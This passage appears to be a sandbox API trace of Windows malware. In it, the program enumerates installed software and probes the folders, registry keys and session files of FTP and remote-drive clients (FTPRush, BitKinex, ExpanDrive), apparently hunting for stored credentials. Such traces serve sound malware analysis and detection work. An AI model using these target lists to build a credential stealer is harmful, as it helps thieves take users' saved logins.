StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}Microsoft Office Shared Setup Metadata MUI (English) 2010", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{90140000-0117-0409-0000-0000000FF1CE}Microsoft Office Access Setup Metadata MUI (English) 2010", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{91140000-0011-0000-0000-0000000FF1CE}Microsoft Office Professional Plus 2010", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}Microsoft Office Project Professional 2010", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}Microsoft Office Visio 2010", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}Microsoft Visio 2010 Service Pack 1 (SP1)", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033Microsoft .NET Framework 4.6", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{9BE518E6-ECC6-35A9-88E4-87755C07200F}Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}Adobe Reader X MUI", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{B175520C-86A2-35A7-8619-86DC379688B9}Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpSrch="UltraFXP") returned 0x0 [0068.444] StrStrIA (lpFirst="{e6e75766-da0f-4ba2-9788-6ea593ce702d}Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpSrch="UltraFXP") returned 0x0 [0068.445] StrStrIA (lpFirst="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpSrch="UltraFXP") returned 0x0 [0068.445] StrStrIA (lpFirst="{f325f05b-f963-4640-a43b-c8a494cdda0f}Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", lpSrch="UltraFXP") returned 0x0 [0068.445] StrStrIA (lpFirst="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpSrch="UltraFXP") returned 0x0 [0068.445] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.445] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.445] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x10, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0068.445] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.445] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.445] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.445] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.445] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.445] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.445] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.445] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x12, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.445] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.445] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.445] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.445] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.445] lstrlenA (lpString="\\FTPRush") returned 8 [0068.445] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x641518 [0068.445] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.445] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\FTPRush" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPRush") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPRush" [0068.446] LocalFree (hMem=0x626a88) returned 0x0 [0068.446] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPRush") returned 40 [0068.446] lstrlenA (lpString="\\*.*") returned 4 [0068.446] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x6415d0 [0068.446] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPRush" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPRush") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPRush" [0068.446] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPRush", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPRush\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPRush\\*.*" [0068.446] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPRush\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.446] LocalFree (hMem=0x6415d0) returned 0x0 [0068.446] LocalFree (hMem=0x641518) returned 0x0 [0068.446] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.446] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.446] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.446] lstrlenA (lpString="\\FTPRush") returned 8 [0068.446] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x641518 [0068.446] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.446] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FTPRush" | out: lpString1="C:\\ProgramData\\FTPRush") returned="C:\\ProgramData\\FTPRush" [0068.446] LocalFree (hMem=0x626a88) returned 0x0 [0068.446] lstrlenA (lpString="C:\\ProgramData\\FTPRush") returned 22 [0068.446] lstrlenA (lpString="\\*.*") returned 4 [0068.446] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x6415b8 [0068.446] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData\\FTPRush" | out: lpString1="C:\\ProgramData\\FTPRush") returned="C:\\ProgramData\\FTPRush" [0068.446] lstrcatA (in: lpString1="C:\\ProgramData\\FTPRush", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\FTPRush\\*.*") returned="C:\\ProgramData\\FTPRush\\*.*" [0068.446] FindFirstFileA (in: lpFileName="C:\\ProgramData\\FTPRush\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.446] LocalFree (hMem=0x6415b8) returned 0x0 [0068.446] LocalFree (hMem=0x641518) returned 0x0 [0068.446] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.446] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.446] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.446] lstrlenA (lpString="\\FTPRush") returned 8 [0068.446] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0068.447] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.447] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\FTPRush" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPRush") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPRush" [0068.447] LocalFree (hMem=0x626a88) returned 0x0 [0068.447] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPRush") returned 38 [0068.447] lstrlenA (lpString="\\*.*") returned 4 [0068.447] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x641518 [0068.447] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPRush" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPRush") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPRush" [0068.447] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPRush", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPRush\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPRush\\*.*" [0068.447] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPRush\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.447] LocalFree (hMem=0x641518) returned 0x0 [0068.447] LocalFree (hMem=0x6292f8) returned 0x0 [0068.447] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.447] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.447] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.447] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.447] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.447] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.447] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.447] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.447] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.447] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.447] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x13, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.447] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.447] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Cryer\\WebSitePublisher", phkResult=0x12fed8 | out: phkResult=0x12fed8*=0x0) returned 0x2 [0068.448] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.448] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.448] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.448] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.448] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.448] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.448] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.448] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.448] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.448] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.448] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x14, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.448] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.448] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.448] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.448] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.448] lstrlenA (lpString="\\BitKinex") returned 9 [0068.448] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x641518 [0068.448] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.448] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\BitKinex" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BitKinex") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BitKinex" [0068.448] LocalFree (hMem=0x626a88) returned 0x0 [0068.448] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BitKinex") returned 41 [0068.448] lstrlenA (lpString="\\*.*") returned 4 [0068.448] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6415d0 [0068.448] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BitKinex" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BitKinex") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BitKinex" [0068.448] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BitKinex", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BitKinex\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BitKinex\\*.*" [0068.449] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BitKinex\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.449] LocalFree (hMem=0x6415d0) returned 0x0 [0068.449] LocalFree (hMem=0x641518) returned 0x0 [0068.449] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.449] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.449] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.449] lstrlenA (lpString="\\BitKinex") returned 9 [0068.449] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x641518 [0068.449] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.449] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\BitKinex" | out: lpString1="C:\\ProgramData\\BitKinex") returned="C:\\ProgramData\\BitKinex" [0068.449] LocalFree (hMem=0x626a88) returned 0x0 [0068.449] lstrlenA (lpString="C:\\ProgramData\\BitKinex") returned 23 [0068.449] lstrlenA (lpString="\\*.*") returned 4 [0068.449] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x6415b8 [0068.449] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData\\BitKinex" | out: lpString1="C:\\ProgramData\\BitKinex") returned="C:\\ProgramData\\BitKinex" [0068.449] lstrcatA (in: lpString1="C:\\ProgramData\\BitKinex", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\BitKinex\\*.*") returned="C:\\ProgramData\\BitKinex\\*.*" [0068.449] FindFirstFileA (in: lpFileName="C:\\ProgramData\\BitKinex\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.449] LocalFree (hMem=0x6415b8) returned 0x0 [0068.449] LocalFree (hMem=0x641518) returned 0x0 [0068.449] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.449] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.449] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.449] lstrlenA (lpString="\\BitKinex") returned 9 [0068.449] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6292f8 [0068.449] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.449] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\BitKinex" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BitKinex") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\BitKinex" [0068.449] LocalFree (hMem=0x626a88) returned 0x0 [0068.449] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\BitKinex") returned 39 [0068.449] lstrlenA (lpString="\\*.*") returned 4 [0068.449] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.449] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\BitKinex" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BitKinex") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\BitKinex" [0068.450] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BitKinex", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BitKinex\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\BitKinex\\*.*" [0068.450] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\BitKinex\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.450] LocalFree (hMem=0x641518) returned 0x0 [0068.450] LocalFree (hMem=0x6292f8) returned 0x0 [0068.450] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.450] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.450] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.450] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.450] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.450] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.450] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.450] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.450] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.450] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.450] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x15, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.451] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.451] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\ExpanDrive\\Sessions", phkResult=0x12fed8 | out: phkResult=0x12fed8*=0x0) returned 0x2 [0068.451] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\ExpanDrive", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0068.451] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\ExpanDrive", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0068.451] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\ExpanDrive", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0068.451] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.451] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.451] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.451] lstrlenA (lpString="\\ExpanDrive") returned 11 [0068.451] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.451] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.451] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\ExpanDrive" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ExpanDrive") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ExpanDrive" [0068.451] LocalFree (hMem=0x626a88) returned 0x0 [0068.451] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ExpanDrive") returned 43 [0068.451] lstrlenA (lpString="\\drives.js") returned 10 [0068.451] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x643aa8 [0068.451] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ExpanDrive" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ExpanDrive") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ExpanDrive" [0068.451] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ExpanDrive", lpString2="\\drives.js" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ExpanDrive\\drives.js") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ExpanDrive\\drives.js" [0068.451] LocalFree (hMem=0x641518) returned 0x0 [0068.451] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ExpanDrive\\drives.js" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\expandrive\\drives.js"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.451] LocalFree (hMem=0x643aa8) returned 0x0 [0068.451] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.451] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.451] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.451] lstrlenA (lpString="\\ExpanDrive") returned 11 [0068.451] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x641518 [0068.451] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.451] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\ExpanDrive" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\ExpanDrive") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\ExpanDrive" [0068.452] LocalFree (hMem=0x626a88) returned 0x0 [0068.452] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\ExpanDrive") returned 41 [0068.452] lstrlenA (lpString="\\drives.js") returned 10 [0068.452] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x643aa8 [0068.452] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\ExpanDrive" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\ExpanDrive") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\ExpanDrive" [0068.452] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\ExpanDrive", lpString2="\\drives.js" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\ExpanDrive\\drives.js") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\ExpanDrive\\drives.js" [0068.452] LocalFree (hMem=0x641518) returned 0x0 [0068.452] CreateFileA 